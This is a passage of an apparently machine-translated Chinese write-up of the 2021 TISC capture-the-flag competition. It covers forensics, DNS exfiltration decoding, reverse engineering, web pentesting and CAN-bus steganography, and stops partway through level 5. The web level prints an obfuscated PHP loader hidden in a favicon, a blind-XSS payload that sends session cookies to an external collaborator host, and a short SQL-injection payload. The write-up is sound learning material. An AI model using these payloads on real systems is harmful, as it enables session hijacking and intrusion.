2021年信息安全挑战赛完整报道: 3万美元的大逃杀

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

介绍

2021 年 10 月 29 日至 11 月 14 日,战略信息通信技术中心 (CSIT) 举办了信息安全挑战赛 (TISC),这是一项由 10 个级别组成的个人竞赛,旨在测试参与者的网络安全和编程技能。这种格式与去年的迭代大不相同您可以在此处阅读我的文章),这是一个 48 小时的定时挑战,主要侧重于逆向工程和二进制开发

现在有两周和 10 个级别,挑战的难度和种类大大增加。正如您所料,奖池相应地增加了——2020 年的代金券为 3,000 美元,现在是30,000 美元的冷现金。参与者从第 8 级到第 10 级以 10,000 美元的增量解锁奖金,成功的解算者平分奖金池。例如,如果第 10 级只有一个求解器,他们将为自己索取全部 10,000 美元。

嗯……这话怎么这么耳熟?

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

然而,因为我是在为慈善机构效力,所以我对测试自己的技能更感兴趣,尤其是在二进制开发领域。我在之前的 TISC 中排名第 6,想看看一年的学习有什么不同。

我花了一百多个小时来解决看似不可能的任务,包括网络、移动、隐写术、二进制开发、自定义 shellcoding、密码学等等。8 到 10 级结合了多个域,每个域都感觉就像一个迷你 CTF。虽然我认为自己相当精通网络,但我走出了自己的舒适区,处理广泛的领域,尤其是作为 pwn、取证和隐写术的绝对初学者。由于我只能通过完成上一个关卡来解锁每个关卡,因此我每次都强迫自己学习新的技巧。

我从 CTF 和日常红队中吸取了重要的教训,我希望其他人也会觉得有用。TISC 与典型 CTF 的不同之处在于它对黑客和编程的双重强调——我经常需要自动化数千次利用而不是利用单个漏洞。你很快就会明白我的意思。

让我们深入了解挑战。您可能想跳过较早的级别,因为它们相当基础。您绝对应该阅读第 8-10 级,但老实说,从第 3 级开始的每个挑战都很有趣。

级别 1:轻描淡写

我对基本的取证和隐写术挑战进行了热身。

第1部分

领域:取证

我们已经在一个秘密频道上发送了以下秘密信息。

以这种格式提交您的flag:TISC{小写解码消息}

文件1.wav

“秘密通道”一词暗示通过音频通道进行数据y隐藏,这是一种常见的隐写技术。file1.wav演奏了一首我无法辨认的欢快曲调。我很快应用了像这篇 Medium 文章中binwalk描述的那样的常用工具和技术,但一无所获。我什至尝试对两个通道进行异或:

import wave
import struct

wav = wave.open("file1.wav", mode='rb')
frame_bytes = bytearray(list(wav.readframes(wav.getnframes())))
shorts = struct.unpack('H'*(len(frame_bytes)//2), frame_bytes)

shorts_three = struct.unpack('H'*(len(frame_bytes)//4), frame_bytes)


extracted_left = shorts[::2] 
extracted_right = shorts[1::2]
print(len(extracted_left))
print(len(extracted_right))
extracted_secret = shorts[2::3]
print(len(extracted_secret))


extractedLSB = ""
for i in range(0, len(extracted_left)):
    extractedLSB += str((extracted_left[i] & 1) ^ (extracted_right[i] & 1))
    
string_blocks = (extractedLSB[i:i+8] for i in range(0, len(extractedLSB), 8))
decoded = ''.join(chr(int(char, 2)) for char in string_blocks)
print(decoded[0:500])
wav.close()

这个简单的挑战让我有些慌张,我回到了“秘密频道”的提示。我分离从文件中的每个音频通道与从堆栈溢出的命令:ffmpeg -i file1.wav -map_channel 0.0.0 ch0.wav -map_channel 0.0.1 ch1.wav。我开始演奏ch1.wav,但不是时髦的音乐,而是听到一连串的哔哔声——莫尔斯电码!我使用了在线摩尔斯电码音频解码器并获得了flag。

TISC{csitislocatedinsciencepark}

第2部分

领域:取证

这是一张通用图片。这张照片的修改时间是?

按以下格式提交您的flag:TISC{YYYY:MM:DD HH:MM:SS}

文件2.jpg

exiftool 很快就解决了这个问题。

TISC{2021:10:30 03:40:49}

第 3 部分

领域:取证、密码学

新加坡log没什么不寻常的吧?

按以下格式提交您的flag:TISC{ANSWER}

文件3.jpg

密码学领域首次亮相!我在 010 Editor 十六进制编辑器中打开了该文件,该编辑器在文件末尾突出显示了一个异常数据 blob。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

PK神奇的字节确定这BLOB作为一个zip文件。我提取了它binwalk -e file3.jpg,显示了另一个图像文件picture_with_text.jpg。我在 010 Editor 中打开它并在文件的开头发现了一些垃圾字节。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

NAFJRE GB GUVF PUNYYRATR VF URER NCCYRPNEEBGCRNE看起来像一个简单的文本密码。我突然进入 Cyber​​Chef 并很快发现它是ROT13“加密”

TISC{APPLECARROTPEAR}

第 4 部分

领域:取证

优秀!现在您已经展示了自己的能力,CSIT SOC 团队为您提供了一个 .OVA 虚拟映像,用于调查受 PALINDROME 攻击的机器的快照。你能从图片中发现什么?

下载 VM 后,使用此免费flag TISC{Yes, I’ve got this.} 来解锁挑战 4 – 10。

transfer.ttyusb.dev/I6..yOk/windows10.ova

检查 MD5 哈希值:c5b401cce9a07a37a6571ebe5d4c0a48

有关如何将 ova 文件导入 VirtualBox 的指南,请遵循随附的 VM 导入指南。

请下载并安装 Virtualbox 6.1.26 版而不是 6.1.28 版,因为在尝试安装 Win 10 VM 映像时有错误报告。

这个挑战包含六面flag,但没有过山车。我天真地将虚拟机导入 Virtualbox 并开始工作。

用户的名字是什么?

以以下格式提交您的flag:TISC{name}。

什么是whoami

TISC{adam}

用户最近一次登录是什么时间?提交前将其转换为UTC。

以 UTC 格式提交您的flag:TISC{DD/MM/YYYY HH:MM:SS}。

我经历了比赛的第一个面目时刻(以后还会有更多)。我登录虚拟机后,最近的登录时间被重置,所以是时候下载Autopsy 了

在 Autopsy 导入并处理 OVA 文件后,我在 OS Accounts > adam> Last Login下找到了最近的登录时间,并将时区转换为 UTC。

TISC{17/06/2021 02:41:37}.

7z 存档被删除,7z 存档内的文件 CRC32 哈希值是多少?

以这种格式提交您的flag:TISC{CRC32 hash in large case}。

我在 Data Artifacts > Recycle Bin 找到了已删除的存档,并使用 7-Zip 生成了 CRC32 哈希。

TISC{040E23DA}

问题1:机器上有多少RID为1000以上的用户?

问题 2:501 的 RID 的帐户名称是什么?

问题 3:503 的 RID 的帐户名称是什么?

按以下格式提交您的flag:TISC{Answer1-Answer2-Answer3}。对找到的答案使用相同的案例。

我在 OS Accounts 下得到了所有的答案,虽然我被系统用户弄糊涂了。

TISC{1-Guest-DefaultAccount}

问题 1:用户访问https://www.csit.gov.sg/about-csit/who-we-are多少次?

问题 2:用户访问https://www.facebook.com多少次?

问题 3:用户访问https://www.live.com多少次?

按以下格式提交您的flag:TISC{ANSWER1-ANSWER2-ANSWER3}。

Data Artifacts > Web History

TISC{2-0-0}

驱动器号为“Z”的设备作为 VirtualBox 中的共享文件夹连接。卷的标签是什么?也许注册表可以告诉我们“已连接”的驱动器?

以这种格式提交您的flag:TISC{卷标}。

我发现这有点困难。我求助于向 VM 添加另一个共享文件夹,然后在注册表编辑器中搜索标签名称,以确定哪个注册表项控制了卷标签。

这使我进入包含所有卷标签的注册表路径。

Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

TISC{vm-shared}

一个带有 SHA1

0D97DBDBA2D35C37F434538E4DFAA06FCCC18A13

的文件在 VM 中……某处。感兴趣的文件的原始名称是什么?

以这种格式提交您的flag:TISC{具有正确文件扩展名的文件的原始名称}。

由于 Autopsy 仅支持 SHA256 和 MD5 哈希,因此我猜测它是 Data Artifacts > Recent Documents 下的文件之一。我提取了所有这些并运行Get-FileHash -Algorithm SHA1 *otter-singapore.lnk,它曾经指向otter-singapore.jpg,与 SHA1 哈希匹配。

TISC{otter-singapore.jpg}

级别 2:Dee Na Saw 作为需要

领域:网络取证

我们检测到并捕获了从 PALINDROME 受感染服务器中发出的异常 DNS 网络流量流。找到的域名均未处于活动状态。要么是 PALINDROME 已经关闭了它们,要么有更多的东西比看起来的要多。

此级别包含 2 个flag,并且可以从此处附加的同一个 pcap 文件中独立找到这两个flag。

flag1 将采用这种格式,TISC{16 个字符}。

flag2 将采用这种格式,TISC{17 个字符}。

流量.pcap

作为隐写术的新手,我觉得这个级别是最“CTF-y”的,实际上卡了两天猎旗1和ragequit一段时间。幸运的是,我在冷静下来后设法得到了它。

flag2

traffic.pcap 由一系列简短的 DNS 查询响应组成。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

一些异常对我来说很突出:

  1. 域名显然包含某种外泄数据,并且与格式相符d33d<9 hex chars>.toptenspot.net
  2. 生存时间 (TTL) 值不断变化,典型的 DNS 服务器不应该是这种情况。
  3. 序列号也一直在变。

对于域名,我注意到前两个十六进制字符总是数字,例如10, 11, 12。我提取了十六进制字符scapy并尝试对它们进行十六进制解码,但它只产生了胡言乱语。在摆弄了一些变体(例如对连续字节进行异或运算)之后,我发现了这篇 CTF 文章,它描述了 DNS 查询名称中数据的 Base32 编码。Base32 编码使用与十六进制数字类似的字符集。我尝试使用 Cyber​​Chef 对“十六进制字符”进行 Base32 解码,并立即发现了一些有趣的输出,例如

<NON-ASCII CHARS>ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghij

. 在使用偏移量之后,我意识到前两个(数字)字符是坏字节,而其余字符组成了一个有效的 base32 字符串。

我用一个快速脚本自动化了解码程序。

from scapy.all import *
from scapy.layers.dns import DNS
import base64

dns_packets = rdpcap('traffic.pcap')
encoded = ''

for packet in dns_packets:
    if packet.haslayer(DNS):
        encoded += packet[DNS].qd.qname[6:13].decode('utf-8')

decoded = base64.b32decode(encoded[:-(len(encoded) % 8)]).decode('utf-8')
print(decoded)

这产生了一堆 lorem ipsum 文本以及第二个 flag 。

TISC{n3vEr_0dd_0r_Ev3n}

flag1

解决了第一个异常属性后,我将注意力集中在 TTL 和序列号上,浪费了很多时间去寻找最终证明是转移注意力的东西。TTL 和序列号通常匹配一个模式——Serial number + TTL = unix timestamp这让我看起来好像走在正确的道路上。在以越来越疯狂的排列方式对这些值进行了许多徒劳无功的修改之后,我放弃并休息了。

当我回来时,我回到了基础并考虑了 DNS 域名中的数字“坏字节”。我决定检查这些值的范围。他们从0164… 可能吗?我将数字转置为 base64 字母表,然后对它们进行 base64 解码……是的,这是一个 DOCX 文件。

下图是挑战创造者想到 TTL 红鲱鱼的时刻。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

继续,我用scapy.

from scapy.all import *
from scapy.layers.dns import DNS
import base64

dns_packets = rdpcap('traffic.pcap')

alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
encoded = ''

for packet in dns_packets:
    if packet.haslayer(DNS):
        encoded += alphabet[int(packet[DNS].qd.qname[4:6].decode('utf-8'))-1]

decoded = base64.b64decode(encoded + '==')
file = open('output.docx', 'wb')
file.write(decoded)
file.close()

word文档中包含了相当明显的线索now you see me, what you seek is within。由于 DOCX 文件实际上是变相的 ZIP 文件,因此我解压缩了 DOCX 并为flag格式搜索了文件TISC{。我在 word/theme/theme1.xml.

TISC{1iv3_n0t_0n_3vi1}

第 3 级:灰堆中的针

领域:逆向工程

在阻止所有类型的可执行文件的内部网络上检测到攻击。这怎么发生的?

经过进一步调查,我们恢复了这 2 张灰度图像。他们可能是什么?

1.bmp

2.bmp

我在 010 Editor 中打开了这两个文件,并注意到BMP 像素颜色字节中的嵌入数据1.bmp2.bmp嵌入数据的顺序相反。1.bmp包含一个 Windows 可执行文件,同时2.bmp包含简单的 ASCII 文本。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我用一个简单的 Python 脚本提取了它们。

with open("1.bmp", "rb") as bmp_1, open("1.exe", "wb") as out_file:
    data = bmp_1.read()

    output = data[-148:][:-3]
    for i in range(1, 145):
        output += data[-((i + 1) * 148):-(i * 148)][:-3]

    out_file.write(output)

with open("2.bmp", "rb") as bmp_1, open("2.txt", "wb") as out_file:
    data = bmp_1.read()

    output = data[-100:][:-1]
    for i in range(1, 99):
        output += data[-((i + 1) * 100):-(i * 100)][:-1]

    out_file.write(output)

运行1.exe,我收到以下输出:

> .\1.exe
HELLO WORLD
flag{THIS_IS_NOT_A_FLAG}

深入挖掘,我用 IDA 反编译了可执行文件,并注意到该main函数检查.txt了第一个参数中的文件。

  puts("HELLO WORLD");
  if ( argc < 2 )
    goto LABEL_34;
  v3 = argv[1];
  v4 = strrchr(v3, 46);
  if ( !v4 || v4 == v3 )
    v5 = (const char *)&unk_40575A;
  else
    v5 = v4 + 1;
  v6 = strcmp("txt", v5);
  if ( v6 )
    v6 = v6 < 0 ? -1 : 1;
  if ( v6 )
  {
LABEL_34:
    puts("flag{THIS_IS_NOT_A_FLAG}");
    return 1;
  }
  fopen_s(&Stream, argv[1], "rb");
  v7 = (void (__cdecl *)(FILE *, int, int))fseek;
  if ( Stream )
  {
    fseek(Stream, 0, 2);
    v8 = ftell(Stream);
    v23 = v8 >> 31;
    v24 = v8;
    fclose(Stream);
  }

我用一个随机文本文件对此进行了测试,产生了以下输出。

> .\1.exe .\2.txt
HELLO WORLD
Almost There!!

进一步查看 的伪代码main,我注意到它调用了一个函数,该函数调用了VirtualAlloc一些内存,将数据复制到其中,然后运行LoadLibraryA. 由于Almost There!!在 中没有作为字符串出现1.exe,我怀疑它来自动态加载的库。

我在 上设置了一个断点memcpy并运行了 IDA 调试器。检查memcpy断点处的参数,我确认它复制了一个可执行文件,其中包含MZ后跟This program cannot be run in DOS mode.

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

现在我需要转储这些数据。我通过检查出现在源缓冲区末尾的应用程序清单 XML 文本来手动计算文件的大小。接下来,我将它转储到 WinDBG 中.writemem b.exe ebx L2600

可执行文件原来是一个 DLL,其中包含dllmain_dispatch函数中的解码例程,每次1.exe加载LoadLibraryA.

由于 256 次迭代循环,DLL 被反编译为伪代码,我将其识别为 RC4 密钥调度算法 (KSA)。

if ( Block )
    {
    v4 = strcmp(Block, "Words of the wise may open many locks in life.");
    if ( v4 )
        v4 = v4 < 0 ? -1 : 1;
    if ( !v4 )
        puts("*Wink wink*");
    }
    memset(v18, 0, 0xFFu);
    for ( i = 0; i < 256; ++i )           // RC4 Key Scheduling Algorithm
    *((_BYTE *)&Stream[1] + i) = i;
    v6 = 0;
    Stream[0] = 0;
    do
    {
    v7 = *((_BYTE *)&Stream[1] + v6);
    v8 = (FILE *)(unsigned __int8)(LOBYTE(Stream[0]) + Block[v6 % 0xEu] + v7);
    Stream[0] = v8;
    *((_BYTE *)&Stream[1] + v6++) = *((_BYTE *)&Stream[1] + (_DWORD)v8);
    *((_BYTE *)&Stream[1] + (_DWORD)v8) = v7;
    }

伪代码包含两个更重要的信息。首先,“智者之言,人生多锁”,看似暗示。其次,KSA 循环使用 0xE 作为模数,告诉我 RC4 密钥有 14 个字节长。

起初,我为了猜钥匙掉进了一个兔子洞。鉴于挑战的名称和Words of the wise,我认为它与指环王中的甘道夫有关,并尝试了与他相关的各种短语,包括youwillnotpass。过了许久,我才回过神来,这才发现,密钥可能存在于我之前提取的第二个文件中。它包含了一个巨大的单词列表,其中包括rubywise——这可能就是“智者之言”提示所指的内容。

我用一个快速的 Python 脚本强行输入了这些键。

import subprocess
import os

with open('keys.txt') as file:
    lines = file.readlines()
    lines = [line.rstrip() for line in lines]
    for line in lines:
        with open('key.txt', 'w') as key:
            key.write(line)
        result = subprocess.run([".\\1.exe", ".\\2.txt"], capture_output=True).stdout
        if b'TISC' in result:
            print(line)
            print(result)

TISC{21232f297a57a5a743894a0e4a801fc3}

第 4 层:魔术师的巢穴

领域:Web Pentesting

有一天,Apple Story Pte Ltd 的管理员收到了一封匿名电子邮件。

===

亲爱的 Apple Story 管理员,

我们是回文。

我们已经控制了您的系统并窃取了您的秘密配方!

不要害怕,因为我们只追求钱。

向我们支付我们的要求,我们就会消失。

首先,我们拒绝了您的所有控制。

我们要求在 2021 年 12 月 31 日之前向 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2 支付 1 BTC 的赎金。

不要联系警察或寻求帮助。

如果不这样做,植物就会消失。

我们安装了一个监控套件,所以不要测试我们。

在 2021 年 12 月 31 日之前记住 1 个比特币,我们就会消失。

呜哈哈哈哈。

问候,

回文

===

管理层只有一条指令。在截止日期之前检索加密密钥并解决此问题。

wp6p6avs8yn..wnpq8lfdhyjjds.ctf.sg:14719

注意:上传的有效负载将每 30 分钟删除一次。

最后,网络挑战!该网站上有一张赎金票据和一个指向付款页面的链接。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

挑战伴随着一个免费提示:“演员 PALINDROME 模仿 Magecart 以逃避检测的flag性技术有哪些?” 基于此,我研究了 Magecart 的策略、技术和程序 (TTP),发现威胁行为者将恶意负载隐藏在图像文件中。我检查了每一个加载的图像,并发现favicon.ico包含下面的PHP代码:

eval(base64_decode('JGNoPWN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwiaHR0cDovL3MwcHE2c2xmYXVud2J0bXlzZzYyeXptb2RkYXc3cHBqLmN0Zi5zZzoxODkyNi94Y3Zsb3N4Z2J0ZmNvZm92eXdieGRhd3JlZ2pienF0YS5waHAiKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NULDEpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1BPU1RGSUVMRFMsIjE0YzRiMDZiODI0ZWM1OTMyMzkzNjI1MTdmNTM4YjI5PUhpJTIwZnJvbSUyMHNjYWRhIik7JHNlcnZlcl9vdXRwdXQ9Y3VybF9leGVjKCRjaCk7'));

base64 字符串解码为:

$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"http://<DOMAIN>:18926/xcvlosxgbtfcofovywbxdawregjbzqta.php");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,"14c4b06b824ec593239362517f538b29=Hi%20from%20scada");
$server_output=curl_exec($ch);

此 PHP 代码发送了以下 HTTP 请求:

POST /xcvlosxgbtfcofovywbxdawregjbzqta.php HTTP/1.1
Host: <DOMAIN>:18926
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 190

14c4b06b824ec593239362517f538b29=Hi%20from%20scada

返回以下响应:

HTTP/1.1 200 OK
Date: Sun, 14 Nov 2021 05:50:11 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Vary: Accept-Encoding
Content-Length: 77
Connection: close
Content-Type: text/html; charset=UTF-8

New record created successfully in data/9bcd278b611772b366155e078d529145.html

服务器根据我的输入创建了一个 HTML 文件。我快速检查了 SQL 注入(无),然后转向下一个最有可能的漏洞 – 盲目跨站脚本 (XSS) 攻击。而不是Hi%20from%20scada,我输入了

<img src="http://zdgrxeldiyxju6mmytt0cdx3muskg9.burpcollaborator.net" />

几分钟后,我收到了回复!

GET / HTTP/1.1
Referer: http://magicians-den-web/data/9bcd278b611772b366155e078d529145.html
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: zdgrxeldiyxju6mmytt0cdx3muskg9.burpcollaborator.net

我还意识到 PHP 代码将 POST 请求发送到http://<DOMAIN>:18926/. 该网站包含一个“最新示例数据”页面,其中包含由 POST 请求创建的 HTML 文件,这有助于我调试负载。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

通常,XSS CTF 通过受害者的浏览器挑战特征数据泄露。起初,我怀疑,因为受害者的用户代理PhantomJS/2.1.1遭受已知本地文件泄露漏洞,我的意思是泄漏/etc/passwd。然而,经过多次尝试,我一无所获,可能是因为受害者从http://URL 而不是file://URI访问了 XSS 负载,这可以绕过跨域资源共享 (CORS) 保护。

回到绘图板,我决定执行一些目录破坏ffuf并发现登录页面存在于http://<DOMAIN>:18926/login.php.

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

不幸的是,注册被禁用,但由于PHPSESSIDcookie 控制了用户的会话,我找到了前进的方向:我需要使用盲 XSS 来泄漏管理员的会话 cookie。我将我的有效负载修改为:

<script>document.body.appendChild(document.createElement("img")).src='http://zdgrxeldiyxju6mmytt0cdx3muskg9.burpcollaborator.net?'%2bdocument.cookie</script>并在/?PHPSESSID=64f15ffeb7a191812bddfb9a855e0ffb

添加会话 cookie 后,我浏览到登录页面并被重定向到http://<DOMAIN>:18926/landing_admin.php.

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

该页面列出了目标采取的行动,并允许我按isALIVE或过滤结果isDEAD。当我更改过滤器时,页面发送了以下 HTTP 请求:

POST /landing_admin.php HTTP/1.1
Host: <DOMAIN>:18926
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://<DOMAIN>:18926
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<DOMAIN>:18926/landing_admin.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=e9b94a5a71d62d9171130ad5890f38ef
Connection: close

filter=isALIVE

除了过滤的操作之外,响应还包括文本Filter applied: <VALUE OF FILTER PARAM>。切换到isDEAD过滤器返回操作MaybeMessingAroundTheFilterWillHelp?ButDoYouKnowHow?,暗示 SQL 注入。

我确认该POST /landing_admin.php请求容易受到使用同构 SQL 语句的SQL 注入;添加一个简单的'tofilter=isALIVE导致服务器忽略Filter applied消息并添加''恢复它。然而,直接跳跃' OR '1'='1失败了。感到困惑的是,我继续测试了几个有效载荷,最终注意到某些字符被清除了,因为它们从未出现在Filter applied消息中。通过对所有可能的 URL 编码的 ASCII 字符进行模糊测试,我重建了 blacklist !"$%&*+,-./:;<=>?@[]^_`{|}~,只留下了特殊字符#'()。此外,我发现任何filter超过 7 个字符的参数总是失败。

由于注入的 SQL 语句可能看起来像SELECT * from actions WHERE status='<PAYLOAD>',我推断一个可能的有效负载是'OR(1)#,创建最终语句SELECT * from actions WHERE status=''OR(1)#'。这巧妙地转储了所有可能的操作,同时注释掉了额外的'. 值得庆幸的是,有效载荷有效并且响应中包含了作为操作之一的flag。

TISC{H0P3_YOu_eNJ0Y-1t}

级别 5:极品飞车

领域:二进制操作、物联网分析

我们截获了一些发送到 PALINDROME 使用的自动炸弹卡车的指令。然而,它似乎只是一个通往Istana的路线的BMP文件!

分析提供的文件并发现 PALINDROME 的说明。想办法在为时已晚之前终止操作。

在开始之前确保给定文件的 md5 校验和匹配以下内容:26dc6d1a8659594cdd6e504327c55799

以以下格式提交您的flag:TISC{flag found}。

注意:在此挑战中找到的flag不是 TISC{…} 格式。为帮助验证是否获取到flag,flag的md5校验和为:d6808584f9f72d12096a9ca865924799。

附加的文件

路由文件

这个隐写术挑战难倒了许多参与者。从表面上看,route.bmp看起来就像是一张简单的地图截图。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

使用stegsolve,当我在红色、绿色或蓝色值上应用平面 0 过滤器时,我注意到了有趣的输出。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

图像的上半部分类似于静态,而不是原始图像的预期黑白轮廓。在研究更多图像隐写技术时,我遇到了另一篇 CTF 文章,其中包含由stegsolve. 这篇文章描述了图像如何将数据隐藏在每个像素的 RGB 值的最低有效字节中。我应用了 writeup 中的脚本来提取数据,但遇到了轻微的损坏。尽管前几个字节37 7A C2 BC C2 AF 27 1C几乎与 7-Zip 文件的魔法字节匹配37 7A BC AF 27 1C,但额外的C2字节妨碍了正确解码。

我决定将预期的二进制输出与脚本的实际输出进行比较。

Expected: 00110111 01111010 10111100 10101111 00100111 00011100     # 37 7A BC AF 27 1C
Real:     00110111001111011010001011100010000111101011010011100     # 37 3d a2 e2 1e b4 1c

仔细阅读文章后,我意识到脚本正确地跳过了第 9 位,但过早地将这些位转换为字节。我修复了这个错误以获得一个有效的解码器。

##!/usr/bin/env python
from PIL import Image
import sys

## Trim every 9th bit
def trim_bit_9(b):
    trimmed = ''
    while len(b) != 0:
        trimmed += b[:8]
        b = b[9:]
    return trimmed

## Load image data
img = Image.open(sys.argv[1])
w,h = img.size
pixels = img.load()

binary = ''
for y in range(h):
    for x in range(w):
        # Pull out the LSBs of this pixel in RGB order
        binary += ''.join([str(n & 1) for n in pixels[x, y]])

trimmed = trim_bit_9(binary)
with open('out.7z', 'wb') as file:
    file.write(bytes(int(trimmed[i : i + 8], 2) for i in range(0, len(trimmed), 8)))

提取的 7-Zip 文件包含两个文件:update.logcandump.log.

updated.log 包含以下案文:

see turn signals for updated abort code :)
- P4lindr0me

与此同时,candump.log是一个巨大的文件,其中包含这样的行:

(1623740188.969099) vcan0 136#000200000000002A
(1623740188.969107) vcan0 13A#0000000000000028
(1623740188.969109) vcan0 13F#000000050000002E
(1623740188.969112) vcan0 17C#0000000010000021
(1623740225.790964) vcan0 324#7465000000000E1A
(1623740225.790966) vcan0 37C#FD00FD00097F001A
(1623740225.790968) vcan0 039#0039
(1623740225.792217) vcan0 183#0000000C0000102D
(1623740225.792231) vcan0 143#6B6B00E0
(1623740225.794607) vcan0 095#800007F400000017

我在看什么?经过一番谷歌搜索,我发现这candump是一个转储控制器局域网 (CAN) 总线流量的工具。CAN 本身是车辆使用的网络协议。通过搜索 中的一些行candump.log,我发现了一个由 ICSim 生成的示例 CAN 日志。在对 CAN 协议做了更多研究之后,我推断出 CAN 转储中的每一行都与格式匹配(<TIMESTAMP>) <INTERFACE> <CAN INSTRUCTION ID>#<CAN INSTRUCTION DATA>

根据“查看转向信号”线索,我需要找到与“转向信号”指令匹配的 CAN 指令 ID。转向信号的 CAN 指令数据可能包含该flag。我查看了ICSim源代码,发现 ICSim 将转向信号 ID 设置为默认常量或某个随机值:

##define DEFAULT_SIGNAL_ID 392 // 0x188
...
  signal_id = DEFAULT_SIGNAL_ID;
  speed_id = DEFAULT_SPEED_ID;

  if (randomize || seed) {
	if(randomize) seed = time(NULL);
	srand(seed);
	door_id = (rand() % 2046) + 1;
	signal_id = (rand() % 2046) + 1;

可悲的是,由于没有一个 CAN 转储行包含188指令 ID,我知道转向信号指令 ID 已被随机化。

根据代码和ICSim 教程,我还知道转向信号指令的数据值可以是00(都关闭)、01(仅左开启)、02(仅右开启)或03(均开启)。因此,我尝试过滤掉所有在candump.log. 指令 ID40C看起来很有希望,因为它只有以下唯一数据值:40C: ['0000000004000013', '014A484D46413325', '0236323239533039', '033133383439000D']. 然而,尽管花费了数小时对这些值进行十六进制解码、异或运算等,我还是未能检索到任何可用的数据。

在这个兔子洞上浪费了很多时间之后,我重新阅读在 ICSim 上发送转向信号的源代码

void send_turn_signal() {
	memset(&cf, 0, sizeof(cf));
	cf.can_id = signal_id;
	cf.len = signal_len;
	cf.data[signal_pos] = signal_state;
	if(signal_pos) randomize_pkt(0, signal_pos);
	if(signal_len != signal_pos + 1) randomize_pkt(signal_pos+1, signal_len);
	send_pkt(CAN_MTU);
}

我注意到我的错误:该send_turn_signal函数仅将 CAN 消息数据中的一个字节设置为信号状态字节,然后将其余数据字节随机化。这意味着转向灯将具有远不止四个可能的唯一数据值!取而代之的是,我应该为过滤其数据值总是既包括转向信号ID的CAN转储000102,和03在固定位置。我很快写了一个新脚本来做到这一点。

can_combinations = dict()
can_count = dict()

with open('candump.log', 'r') as file:
    while line := file.readline():
        can_id = line[26:29]
        can_data = line[30:].strip()
        if can_id not in can_combinations:
            can_combinations[can_id] = [can_data]
        else:
            if can_data not in can_combinations[can_id]:
                can_combinations[can_id].append(can_data)
        if can_id not in can_count:
            can_count[can_id] = 1
        else:
            can_count[can_id] += 1

for can_id in can_combinations:
    if all(('01' in data or '02' in data or '03' in data or '00' in data) for data in can_combinations[can_id]):
        print("{} {}: {}".format(can_id, can_count[can_id], can_combinations[can_id]))

在可能的过滤 CAN ID 中,0C7看起来也很有希望,因为一些数据值在十六进制解码时包含 ASCII 字符。

0C7: ['00006c88000000', '0E003100000011', '00006664000000', '00003369000066', '00E75f00D30000', '3A0931E20000E0', '07003500000000', '00005fA1000038', '00007782600000', '3521683F00016C', '00003400000005', '00003700000100', '4F005f00000000', '00006802000100', '00003483000000', 'B900702D000100', '00007006000000', '00B63300000117', 'F8786e000C00D6', '0092359B000100', '90005f77F80000', 'B3457700000100', '00006800000030', 'C9F13300AA0100', '00B56e00000000', '00005f98AB0186', '770079003800D0', '0000305D000100', 'F3427500000064', '00002700000100', 'A0007200460032', '00003312000100', 'C2005f000000E2', '00006200790100', '00007500000000', '00003500000000', '004A7900000000', '00005f00000000', '00006d33000000', '000034000000BF', '00136b0000005C', '00F63100000000', '00006e00AA0099', '15003600000000', '7B005fD6000000', 'BC003020000000', 'B7003700000000', '0000680000006C', '00003300310000', '50007200A50000', '00005f00A60000', '00E67000A200A2', '77006c00450059', '89003400000000', '59006e2AE500D1', '00E23500F80000', '00912eC2B40000', '00002d00000100', '003E6a007B0060', '00005f00F70132', '0000304F000000', '00FB5f00000100', '44576800000000', '00005f00000193', 'FD006eDE450000', '00895f00900100', '00006c00910000', '00005fDDD10000', '00003300000200', '00CA5f00CC0000', 'E4FB6e00000000', '00005f00770000', '00006e00000000', '00005f00810000', '00003049940000', '00F95f003600D4', '6E7B6e936C0051']

